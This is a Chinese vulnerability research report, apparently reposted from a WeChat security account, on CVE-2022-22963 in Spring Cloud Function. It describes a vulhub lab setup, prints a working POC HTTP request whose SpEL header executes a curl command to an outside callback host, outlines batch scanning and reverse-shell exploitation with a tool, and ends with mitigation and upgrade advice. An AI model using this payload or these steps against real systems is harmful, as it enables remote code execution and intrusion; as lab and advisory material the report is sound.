Spring-Cloud-Function-Spel-rce(CVE-2022-22963)漏洞研究报告

admin 2022年5月27日21:12:17评论652 views字数 2068阅读6分53秒阅读模式
一、漏洞信息搜集
Spring-Cloud-Function-Spel-rce(CVE-2022-22963)漏洞研究报告


1.1 漏洞信息表

漏洞名称

Spring-Cloud-Function-Spel-rce

发布时间

2022年03月26日

漏洞编号

CVE-2022-22963

威胁类型

任意代码执行

危害级别

严重

影响版本

3.0.0.M3 <= Spring Cloud Function <=3.2.2

漏洞描述

产品介绍:Spring Cloud Function 是基于 Spring Boot
的函数计算框架,它抽象出所有传输细节和基础架构,允许开发人员保留所有熟悉的工具和流程,并专注于业务逻辑

漏洞概述:Spring Cloud Function是基于Spring Boot 的函数计算框架(FaaS),当其启用动态路由functionRoute时,HTTP请求头spring.cloud.function.routing-expression参数存在SPEL表达式注入漏洞,恶意攻击者可通过此漏洞进行远程命令执行漏洞

危害说明:远程代码执行

漏洞指纹

常用端口/协议:无

请求参数/关键路径(漏洞入口):动态路由functionRoute

漏洞验证与利用

POC: Spring-Cloud-Function-SPEL-RCE.exe

EXP: Spring-Cloud-Function-SPEL-RCE.exe

修复建议

正式修复方案:下载官方发布的修复版本进行漏洞修复

临时修复方案:关闭服务

参考链接

https://blog.csdn.net/Trouble_99/article/details/123851979


二、漏洞快速验证
Spring-Cloud-Function-Spel-rce(CVE-2022-22963)漏洞研究报告

2.1 漏洞靶机搭建

2.1.1 第三方集成环境

1.安装vulhub漏洞环境

git clone https://github.com/vulhub/vulhub.git


2.安装完vulhub漏洞环境后,进入vulhub文件夹,进入spring文件夹

Spring-Cloud-Function-Spel-rce(CVE-2022-22963)漏洞研究报告


3.进入CVE-2022-22963文件,这个就是spring-cloud-function-spel表达式注入的漏洞环境,使用docker-compose up -d启动漏洞环境

Spring-Cloud-Function-Spel-rce(CVE-2022-22963)漏洞研究报告


4.环境端口就是8080,使用浏览器查看发现启动成功,至此环境搭建完成

Spring-Cloud-Function-Spel-rce(CVE-2022-22963)漏洞研究报告


2.1.2 自行搭建漏洞环境

(详细说明基于自行搭建漏洞环境的过程,并提供文字说明以及相关截图。)

2.2 POC漏洞验证

POST /functionRouter HTTP/1.1
Host: 192.168.1.133:9000
spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("curl 6ad0a60b.dns.1433.eu.org.")
Content-Type: application/x-www-form-urlencoded
Content-Length: 3

rce


Spring-Cloud-Function-Spel-rce(CVE-2022-22963)漏洞研究报告

2.3 集成工具验证

1.工具名称:Spring-Cloud-Function-SPEL-RCE.exe,采用golang编写,直接使用即可

2.使用方法:

-h查看使用说明:

Spring-Cloud-Function-Spel-rce(CVE-2022-22963)漏洞研究报告

3.单个扫描 Spring-Cloud-Function-SPEL-RCE.exe -u http://xxxx

Spring-Cloud-Function-Spel-rce(CVE-2022-22963)漏洞研究报告

4. 批量扫描

Spring-Cloud-Function-Spel-rce(CVE-2022-22963)漏洞研究报告


三、漏洞利用实践
Spring-Cloud-Function-Spel-rce(CVE-2022-22963)漏洞研究报告

3.1 手工利用

3.1.1 反弹shell

1.攻击机监听端口

Spring-Cloud-Function-Spel-rce(CVE-2022-22963)漏洞研究报告

2.使用bash反弹,注意需要进行编码

编码网站:http://www.jackson-t.ca/runtime-exec-payloads.html

Spring-Cloud-Function-Spel-rce(CVE-2022-22963)漏洞研究报告


3.burpsuite发送pyload

Spring-Cloud-Function-Spel-rce(CVE-2022-22963)漏洞研究报告


4.攻击机成功反弹shell

Spring-Cloud-Function-Spel-rce(CVE-2022-22963)漏洞研究报告

3.2 集成工具利用

1.使用工具检测漏洞

Spring-Cloud-Function-Spel-rce(CVE-2022-22963)漏洞研究报告

2.探测是否能够出网

Spring-Cloud-Function-Spel-rce(CVE-2022-22963)漏洞研究报告

3.反弹shell利用

Spring-Cloud-Function-Spel-rce(CVE-2022-22963)漏洞研究报告

Spring-Cloud-Function-Spel-rce(CVE-2022-22963)漏洞研究报告


四、漏洞修复实践
Spring-Cloud-Function-Spel-rce(CVE-2022-22963)漏洞研究报告

4.1 修复方案1:临时修复方案

采用NDR类、WAF类、RASP类产品,对该漏洞利用进行防护阻断

4.2 修复方案2:标准解决方案

按官方建议升级修复

https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f


五、参考资料
Spring-Cloud-Function-Spel-rce(CVE-2022-22963)漏洞研究报告


百香果沙盘资料:

1.“百香果”内网安全沙盘2.0bate版使用指南-基础篇:

https://mp.weixin.qq.com/s/o6k3yNXlnQ3FwCciBUmrLw

2.“百香果”内网安全沙盘2.0bate版使用指南-进阶篇:

https://mp.weixin.qq.com/s/nfa2DHkDPE43cIvvRmk1TA

3.“百香果”内网安全沙盘2.0bate版使用指南-高级篇:

https://mp.weixin.qq.com/s/MfWuBm_H7JxAvBKfnTpLZQ

4.基于docker的网络安全靶场搭建-主机篇:https://mp.weixin.qq.com/s/QR9T1TOVIM0sh_TlJhe6Ag


END

Spring-Cloud-Function-Spel-rce(CVE-2022-22963)漏洞研究报告


原文始发于微信公众号(国科漏斗社区):Spring-Cloud-Function-Spel-rce(CVE-2022-22963)漏洞研究报告

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月27日21:12:17
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Spring-Cloud-Function-Spel-rce(CVE-2022-22963)漏洞研究报告http://cn-sec.com/archives/1059574.html

发表评论

匿名网友 填写信息